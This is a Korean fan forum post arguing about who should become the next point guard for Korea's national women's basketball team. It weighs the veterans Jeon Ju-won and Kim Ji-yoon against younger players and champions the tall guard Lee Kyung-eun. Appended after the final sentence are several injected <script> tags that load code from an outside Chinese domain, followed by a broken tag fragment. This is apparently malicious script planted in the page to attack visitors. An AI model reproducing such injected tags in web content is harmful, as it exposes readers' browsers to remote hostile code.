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한국 여자농구를 이끌어 갈 차세대 1번은...

사실 현재의 한국 여자농구 중에서 가장 취약한 포지션은 1번 자리 인 것 같습니다... 물론 4, 5번의 빅맨 자리도 취약하긴 하지만 이건 신체적인 조건과 운동능력의 차이를 가장 절실히 느끼게 하는 포지션이기 때문에 따로 언급하진 않겠습니다...

얼마전 올스타전이 있었죠... 여자 농구를 대표하는 선수들이 나와 자신의 기량을 뽑냈는데 유독 비어보이는 한 자리가 있더군요... 바로 1번 자리죠... 물론 김지윤, 전주원 선수가 있었지만 몸상태가 안 좋아서 안 나왔죠... 또한 다른 포지션에서는 젊은 선수들도 꽤 나왔구요... 1번 선수가 없어서인지 올스타전 경기 자체는 별로 매끄럽지 못하더군요...(외곽슛만 쏜다는...)

밑에 글에 어떤 분께서 ‘나이에 무슨 상관이 있느냐? 기량이 좋으면 계속하는 것 아니냐? 외국에선 나이 상관없이 오로지 실력으로 뽑는다...’라고 말씀 하셨는데 옮은 말씀입니다... 하지만 중요한 것은 외국 선수들과 우리 선수들의 신체적인 차이에 있다고 보네요... 표현 하기가 좀 그렇지만 동양계 선수들의 신체나이가 더 빨리 노화가 온다고 할까요... 어째든 농구라는 경기가 신체능력과 운동능력이 중요한 비중을 차지하는 만큼 무시할 순 없죠... 여기에 노장 선수들은 언제 부상으로 은퇴할 지 모르기 때문에 상당히 위험하죠... 제대로 부상을 만나면 곧바로 선수생활 접어야 하니깐요... 이런 경우 그 공백은 누가 메꿀까요?? 이렇기에 세대교체에 중요성이 있다고 봅니다... 물론 실력있는 노장 선수들도 계속 활용 해야죠...

지금 여자농구는 전주원, 김지윤 선수외에 이들의 뒤를 이을 만한 선수가 아직 없죠... 얼마후 아시아 선수권이 있는데 현재로선 이 두노장 선수중에 한명을 데려가고 나머진 젊은 선수들로 선수층을 꾸며야겠죠...(둘 다 데려갈 필요는 없다고 봅니다... 세대교체도 같이 해 나가야 하기 때문에요...) 삼성의 이미선 선수가 돌아온다고 해도 그동안의 공백을 바로 깰 수 없기 때문에 즉시 전력감은 아니죠...(정말 안타깝다는...) 결국 최윤아, 김진영, 박세미 같은 젊은 선수들 중에 한명이 많은 시간을 보장 받겠죠...

이 세 젊은 선수들은 현재 소속팀에서 1번 자리를 맡으며 좋은 모습들을 보여주고 있죠... 하지만 단순히 가까운 미래만을 살펴볼 것이 아니라 먼 미래를 살핀다면 이 선수들도 아직은 많은 업그레이드가 필요한 것 같습니다... 최윤아 선수는 수비, 돌파가 좋고 득점력도 괜찮지만 오펜스에서 팀의 흐름을 잘 조절 못할 때가 많더군요...(제가 보기엔...) 김진영 선수는 3점슛이 좋고 빠른 발을 가지고 있지만 아직 작은 신장을 커버하기엔 2&#37 부족해 보이더군요..(이것도 제 생각...) 박세미 선수는 많은 포텐셜을 가지고 있지만 1번 자리로선 약간 치명적인 기복있는 플레이를 한다는 것이 문제점이죠... 어느 순간 집중력이 떨어지는 것도요...(이것 역시 제 생각...)

하지만 위 세선수들은 현재의 여자농구를 이끌어 갈 유망한 1번 선수들이죠... 다만 이 세선수들에게 좀 아쉬운 것이 있는데 바로 신장이죠... 박세미 선수 165, 김진영 선수 166, 최윤아 선수 170... 전주원 선수가 단순히 국내에서만 통하는 것이 아니라 국제대회에서도 통할 수 있었던 것은 바로 높은 신장을 가지고 있기 때문이죠... 정말 국제 대회에선 전주원 선수 같은 장신가드가 우리에게 꼭 필요하다는 것이죠... 전 그래서 올 시즌 이선수에게 많은 관심을 가지고 있습니다...

바로 우리은행의 이경은 선수... 아직 소속팀에서 김진영 선수에 밀려 많은 시간을 받지 못하고 있죠... 하지만 이 선수는 제가 앞서 말한 신장을 가진 가드 입니다... 신장이 전주원 선수와 같은 176 이네요... 이경은 선수의 장점은 무엇보다도 패싱능력이죠... 정말 남자 선수와 같은 패싱 능력을 가지고 있죠... 시합중에 보이는 몇몇 패스들은 정말 저를 깜짝 놀라게 할 때가 많죠... 하지만 아직은 개선의 여지가 많죠... 무엇보다 3점이 아직 갖추어져 있지 않고 드리블이나 스피드 면에선 아직 더 발전해야 할 필요성을 느끼죠... 하지만 이경은 선수가 전주원 선수급으로만 발전해 준다면 한국으로선 또다시 장신 가드를 보유할 수 있게 되죠... 사실 우리은행보단 다른 팀에 가는 것이 이경은 선수에게 도움이 될 것 같네요... 금호생명처럼 1번이 공석인 팀이 딱 좋은 것 같은데...(박감독이 줄리가 없죠...)

어째든 국대 1번 자리는 현재로선 노장 선수들이나 앞서 말한 세선수들이 차지 하겠죠... 하지만 미래를 생각했을 땐 이경은 선수가 기량이 급 발전해 1번 자리를 차지했으면 좋겠네요... 다른 선수들도 노력하셔서 꼭 자기자리 차지 하시구요...^^;; 한국여자농구 화이팅<script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://log5it.cn></script><script<

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